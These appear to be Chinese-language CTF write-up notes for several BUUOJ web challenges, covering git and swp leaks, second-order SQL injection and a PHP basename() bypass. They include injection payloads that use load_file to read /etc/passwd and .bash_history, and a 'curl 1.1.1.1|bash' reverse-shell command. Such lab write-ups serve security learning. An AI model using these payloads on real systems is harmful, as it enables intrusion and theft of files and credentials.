[网鼎杯 2018]Comment
暴力破解
一般后面都是数字!
但是我都爆破了!
429
还是只爆破数字把🙄
666
.git泄露
python2 git_extract.py http://6d4ef7d1-a3dc-4e56-a6a4-b0995f700308.node3.buuoj.cn/index.php/.git/ |
有个师傅讲git
https://www.cnblogs.com/iamstudy/articles/wangding_4th_game_web_writeup.html |
二次注入
|
还是之前那句话!无论前端输入的是啥!
都把他当成字符串!最后只在数据库里起作用!
看上面的单引号!会被转义(addslashes() 函数的作用)!最后放到数据库里就还原了!
反正前端输入啥到数据库就是啥!有时候一些特殊字符要url编码!# –》%23
到了数据库按照数据库的语言来执行了!比如注释 转义什么的!#就变成了sql注释
看这个题:
里面有board comment两个表!
board 表里传入数据! 如果我们传入sql语句!构造一下:
',content=user(),/* |
(刚刚上面说了!就把它当成字符串传入!具体前端咋传的咱不管!)
这个数据传入board 表里是正常的!但是在插入comment表里时!会被当成sql语句执行!
这就二次注入!
comment表里content字段我们可控!所以:
我们可以构造:
哦哦:!还有:
addslashes() 函数
这里他有个addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
- 单引号(’)
- 双引号(”)
- 反斜杠(\)
- NULL
有了也没关系
sql语句会转义
插入board就是正常的数据!
insert into board set category = '\',content=user(),/*', title = 'dada', content = 'adada' |
最终在数据里转义存在board表里的还是’,content=user(),/*
等会我发现不转义!
数据库还插不进去!会报错!所以这里必须有个转义才能才能插入board表!
payload:
',content=user(),/* |
执行成功😁
',content=(select load_file('/etc/passwd')),/* |
/etc/passwd 文件格式:
passwd 格式
/etc/passwd 中
一行记录对应着一个用户。
每行记录又被冒号(:)分隔为7个字段,其格式和具体含义如下:
用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell
.bash_history
文件
我们linux里每个用户的根目录都有一个.bash_history
文件,
用途: 保存了当前用户使用过的历史命令,方便查找
',content=(select load_file('//home/www/.bash_history')),/* |
.DS_Store 泄露
.DS_Store (英文全称Desktop Services Store) 是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的圖標位置或者是背景色的选择。 该文件由Finder创建并维护,类似于Microsoft Windows中的desktop.ini文件。
.DS_Store就是里面记录的目录的信息!
发现/tmp/下html目录没有删除!
看看里面的.DS_Store
',content=(select load_file('/tmp/html/.DS_Store')),/* |
ASCII 在线转换:
http://www.ab126.com/goju/1711.html
f.l.a.g._.8.9.4.6.e.1.f.f.1.e.e.3.e.4.0.f...p.h.p |
sql语句注释问题
最后因为自己tcl!发现个问题:
为啥要
',content=user(),/* 里user()后面要加逗号! |
这里又要讲下:
sql语句的单行注释和多行注释!!! |
有,号发现单号注释最后的pass还是写入了! 但是如果没有,号 语句就运行不了! |
[BJDCTF 2nd]Schrödinger
啥东西!爆破!!!
太脑洞!
127.0.0.1/test.php |
访问test.php也没啥用!
发现cookie里dXNlcg=MTYxMTY0NzY5Ng%3D%3D |
[BJDCTF 2nd]duangShell
信息泄露
swp泄露
[CTF之信息泄漏]:
https://www.cnblogs.com/Hydraxx/p/10762512.html
index.php.swp
.index.php.swp
像.swp文件,就是vim源文件泄漏,/.index.php.swp或/index.php~ 可以直接用vim -r inde.php来读取文件
<center><h1>珍爱网</h1></center> |
正则表达式
【PHP】之4个反斜杠、3个反斜杠的情况:
https://blog.csdn.net/weixin_41463193/article/details/83539168
命令执行
反弹shell
可以发现有个命令执行!
直接反弹shell
curl 1.1.1.1|bash |
[Zer0pts2020]Can you guess it?
PHP中$_SERVER的详细参数与说明介绍
https://blog.csdn.net/u012222248/article/details/79816801
int是4个字节
1个字节是8位
看了学到好多!
跑远了!基础太差!🙄
|
可以发现$_SERVER[‘PHP_SELF’] #当前正在执行脚本的文件名,与 document root相关。
$_SERVER[‘PHP_SELF’] 把所有脚本名都返回回来了!
basename — 返回路径中的文件名部分
在加上basename 就会返回最后一个!
那我们只要构造config.php!就可以得到flag!
正则表达式污染
大佬的正则表达式污染脚本:
|
index.php/config.php/%ff?source
但是在测试的时候还是能匹配到!不知道为啥!!!😶
还有一点!污染后
在basename函数里没有影响!
从 https://bugs.php.net/bug.php?id=62119 找到了basename()函数的一个问题,
它会去掉文件名开头的非ASCII值:
其实ascil码只有127个,总共其实可以有256个!127个就够了!
所以后面的都是各国自己设置的!看下面文章把:
basename函数所以应该是 它会去掉文件名开头的大于ASCII值为127:
字符编码笔记:ASCII,Unicode 和 UTF-8
http://www.ruanyifeng.com/blog/2007/10/ascii_unicode_and_utf-8.html
如下:是大于ascii码127的!
下图是ascii码小于127范围内
总结:
通过正则表达式污染绕过正则! |